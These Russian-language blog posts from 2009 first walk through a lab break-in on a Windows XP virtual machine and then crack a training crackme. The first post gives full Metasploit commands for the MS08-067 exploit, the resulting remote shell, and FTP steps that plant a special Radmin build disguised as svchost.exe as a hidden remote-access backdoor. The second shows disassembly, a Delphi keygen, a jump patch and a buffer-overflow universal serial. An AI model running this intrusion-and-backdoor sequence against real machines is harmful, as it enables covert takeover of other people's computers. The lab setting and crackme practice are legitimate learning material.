Итак, нам нужно где-то законно, развивать свои навыки, для этого создадим виртуальную машину и установим на нее так любимый пользователями Windows, надеюсь все уже скачали виртуальную машину Vmware, устанавливаем и открываем.

Создаем новую машину в Vmware, для этого зажимаем CTRL+N, и следум инструкциям, там все интуитивно понятно. Теперь идем в Edit => Virtual Network Setting и переходим на вкладку Host Virtual Adapter

Нажимаем add и создаем нужное количество виртуальных адаптеров. Затем идем в DHCP и удаляем от туда все адаптеры кроме, Wmnet1 и Wmnet8. Тут можно нажать Принять и ОК, или же сходить в Host Virtual Network Mapping и настроить каждому адаптеру свой ip, если этого не сделать, то они будут назначенны автоматически.

Заходим в настройки виртуальной манины CTR+D, переходим на вкладку Enternet, выбираем Custop Specifnc: virtual network и назначаем любой понравившейся интерфейс, конечно, кроме Wmnet1 и Wmnet8, я выбрал Vmnet2.

Теперь переходим к CD-ROM, ставим галочку на Use ISO image, жмем обзор и выбираем образ с которого будем устанавливать Windows, мы также можем установить его с диска отметив Use physical drive, и выбрав соответствующий привод.

Ну вот приготовления закончены теперь запускаем виртуальную машину и жмем F12, если вы все правильно сконфигурировали, то перед вами появится окно установки. В моем случае оно выглядит так, у вас может отличатся, завит от уставливаемой ОС. Я использовал сборку ZVERDVD.

УСТАНОВКА СВЯЗИ.

Необходимый софт:
ФТП — сервер (Serv -U)

Значит, после установки необходимо настроить сеть, между нашим реальным ПК и Виртуальным. Для этого идем в свойства подключения виртуального адаптера, который вы выбрали на вкладке Enternet у меня это Vmnet2.

IP адресс 192.168.1.3
Маска подсети 255.255.255.0

Теперь загружаем виртуальную машину и также идем в сетевые подключения и смотрим свойства tcp/ip.

Настраиваем следующим образом:

IP адресс 192.168.1.10
Маска подсети 255.255.255.0
Основной шлюз 192.168.1.3

Осталось только поставить ФТП сервер на наш реальный ПК. Я выбрал Serv -U, он заводится с пол аборота. Важно, когда будете создавать пользователя, создавайте без пароля, да и вешайте фтп на стандартный 21 порт, используемый протокол тоже ФТП.

ПРИМЕР.

Необходимый софт:

Metasploit 3.2
Radmin Viewer 3
RadminServer (спец. Сборка)

Сканим комп xspider'ом

Для взлома мы бужем использовать, недавно обнаруженную уязвимость в службе Server(ms08_067).Запускаем Metasploit 3 Web, ждем пока загрузится и затем в адресной строке браузера пишем 127.0.0.1:55555.

use windows/smb/ms08_067_netapi ; наш сплоит

set PAYLOAD generic/shell_bind_tcp ; выбираем начинку

PAYLOAD => generic/shell_bind_tcp

set RHOST 192.168.1.10 ; хост-жертва

RHOST => 192.168.1.10

set LPORT 7777 ; локальный порт

LPORT => 7777

set RPORT 445 ; удаленный порт
RPORT => 445

exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:Russian
[*] Selected Target: Windows XP SP3 Russian (NX)
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.1.3:5583 -> 192.168.1.10:7777)

Microsoft Windows XP [‚¥àá¨ï 5.1.2600]
(‘) Š®à¯®à æ¨ï Œ ©ªà®á®äâ, 1985-2001.

C:\WINDOWS\system32>

Получили командную строку на удаленной системе

{создаем в папке windows, папку helps}
cd c:\windows
mkdir helps

{коннектимся к нашему компу}
ftp192.168.1.3
Пользователь (192.168.1.3:(none)): kerny

{успешный коннект, идем c:\kerny\ нашего фтп, именно там хранится радмин}
cd c:\kerny\
dir

{файлы радмина}
drw-rw-rw- 1 user group 0 Mar 2 20:10 .
drw-rw-rw- 1 user group 0 Mar 2 20:10 ..
-rw-rw-rw- 1 user group 547 Mar 2 20:10 111.bat
-rw-rw-rw- 1 user group 940 Mar 2 20:10 111.reg
-rw-rw-rw- 1 user group 40448 Mar 2 20:10 AdmDll.dll
-rw-rw-rw- 1 user group 17408 Mar 2 20:10 raddrv.dll
-rw-rw-rw- 1 user group 152576 Mar 2 20:10 svchost.exe

{сливаем файлы на комп жертвы в папку windows\helps}
get 111.bat c:\windows\helps\111.bat
get 111.reg c:\windows\helps\111.reg
get AdmDll.dll c:\windows\helps\AdmDll.dll
get raddrv.dll c:\windows\helps\raddrv.dll
get svchost.exe c:\windows\helps\svchost.exe
{отключаемся от нашего фтп}
bye

{идем в папку, и проверяем скачались ли файлы}
cd c:\windows\helps
dir
-rw-rw-rw- 1 user group 547 Mar 2 20:11 111.bat
-rw-rw-rw- 1 user group 940 Mar 2 20:11 111.reg
-rw-rw-rw- 1 user group 40448 Mar 2 20:12 AdmDll.dll
-rw-rw-rw- 1 user group 17408 Mar 2 20:12 raddrv.dll
-rw-rw-rw- 1 user group 152576 Mar 2 20:12 svchost.exe

{устанавливаем Radmin у жертвы}
111.bat

Теперь запускаем Radmin Viewer и конектимся, как видим все прошло успешно.

Снял видео, там же и статья отформатированная в pdf и софт:

letitbit
letitbit
ifolder
deposit

Взлом crackme#1 от Shturmovik.

2009-03-02T16:10:00.005+03:00

Взлом crackme#1 от Shturmovik

Эта мини-статья будет посвещяна взлому crackme#1 от Shturmovik.
Это первая прога, и первый crackme, который я хакнул(крякнул), так что не судите строго. Все мы будем делать только с помощью одной проги — odbg(олли -дебагер)

Итак, пожалуй начнем....

Наша цель: Взломать прогу, написать кейген.

Что-бы вас немного заинтриговать, скажу что в конце благодаря уязвимости найденной в
программе мы получим универсальный СЕРИЙНИК.

Путем проб и ошибок, определяем, что если ввести неверный ключ, то нам заявляют,-
«Bad serial, Try yet», смотрим код и видим еще одно сообщение «I congratulate! You have cracked me!» по - видимому, оно появляется в случае, если мы введем правильный серийный
номер.

KEЙГЕН.

0040122F |. 68 A8304000 PUSH crackme#.004030A8

00401234 |. 68 96304000 PUSH crackme#.00403096

00401239 |. E8 DEFEFFFF CALL crackme#.0040111C

В стек заталкиваются параметры, и происходит переход на подпрограмму, адрес которой
0040111C, скорее всего именно там происходит проверка серейника.
GO TO=>EXPRESSION, или просто ctr+g, вводим наш адрес, жмем ок.
Детально изучаем код....

Понимаем, что главная строка в этой подпрограмме XOR AL,CL.

После выполнения всего предыдущего кода, эта строка, делает вот что:
На первом проходе цикла в регистре AL, хранится первый символ из названия вашего
компьютера, в CL, единица. Мой ПК называется KERNY, соответственно.
AL=4B
CL=1
4B – это буква K в hex

После операции:
XOR AL,CL
XOR 4B, 01
AL=4A, это буква J, далее по коду идут разные сравнения и т.п.

Но наиболее важное:
CMP AH,AL ;сравниваем AH И AL
JNZ 00401148 ;если AH И AL не равны друг другу, то переходим по адресу

Причем в AL сейчас храница 4A (буква J), если мы посмотрим дальше, то лучше нам не
переходить, тоесть нам нужно, что-бы условие не выполнилось, значит AH и AL, должны
быть равны!!!Соответственно первая буква нашего серийного номера - J, но это только в
моем случае... Вот серийник для моего компа JGQJ\
Теперь мы можем смело заявить, что серийный номер, генерируется по следующему правилу:

Берется имя вашего компьютера, и каждый символ подвергается операции XOR. Но вы
можете поинтересоваться с чем именно он «ксорится». На первом проходе цикла это
единица, на втором двойка и так далее, все потому что в коде присутствует строка:

INC CX

увеличиваем CX на единицу с каждым проходом цикла... Да что объяснять! Вот код процедуры на Delphi:

procedure keygen;
var
i:byte;
begin
{непосредственно кейген}
form1.edit1.Text:=#0;
for I:=1 to length(compname) do //от 1 до конца строки
{Проводим операцию xor над первым символом из названия
компа и единицей, соответственно на втором шаге
цикла будет, второй символ и двойка }
form1.edit1.Text:=edit1.Text+chr(ord(compname[i]) xor i);
end;

ХАК.

Для этого необходимо всего лишь изменить строку
00401144 | |JNZ SHORT crackme#.00401148
на следующую:
00401144 | |JE SHORT crackme#.00401148

Переполнение буфера(самое интересное).

Прикол вот в чем, пока я копался в коде, нашел там уязвимость — ПЕРЕПОЛНЕНИЕ

БУФЕРА, интересно автор спецально подстроил или нет?
Так или иначе, первым в память пишется не имя компа, а то что мы ввели в поле ввода, таким образом есть
возможность затереть имя компа, на произвольное значение, чем мы сейчас и займемся.
Ставим бряк на 401239(выделяем строку и жмем F2) запускаем прогу.Я ввел в поле ввода
HELLO вот результат:

Попробуем ввести в поле ввода HELLOHELLOHELLOHELLO

Видим результат: KE затерлось LO и R затерлось нулевым байтом, что это дает? А вы

подумайте, так для каждого компа свой ключ, а это дает возможность создать
УНИВЕРСАЛЬНЫЙ СЕРИЙНИК, например если впишем в поле ввода:

111111111111111111wihex

То имя компа будет WIHEX. Но эта комбинация нам ничего не даст, мы уйдем на
подпрограмму и там ниче толкового не произойдет, по — скольку, прога возьмет серийник
111111111111111111wihex а имя компа будет wihex она сравнит это и выдаст мол серийник неправильный!!!

А что если взять за серийник?

JGQJ\JGQJ\JGQJ\JGQKERNY

JGQJ\- это правильный серийник для компа с именем KERNY. И когда вы введете у себя на компе такой серийник, переменная затрется на KERNY

(даже если имя вашего ПК длиннее пяти символов, потому что после затирания за символом Y будет идти нулевой байт, что свидетельствует о том, что это конец строки)

и прога будет считать, что имя вашего компа -

KERNY, затем она возьмет и начнет сравнивать себя с серийником

JGQJ\JGQJ\JGQJ\JGQKERNY

но в реале она сравнит себя только с JGQJ\ , когда она

дойдет до шестого прохода цикла, регистр AL станет равным нулю.

И выполнится условие:

CMP AL,0

JE SHORT 00401150

И дальше проверять не будет! Магия не так ли?! Вот и все на сегодня, спасибо за внимание.

Скачать статью в pdf:
http://www.newel.tu2.ru/crackme.pdf

Скачать crackme#1 by Shturmovik и кейген к нему:
http://ifolder.ru/10773116
http://letitbit.net/download/7a05e435851/statr.rar.html
http://www.newel.tu2.ru/statr.rar

(c)Kerny

27.02.09 17:50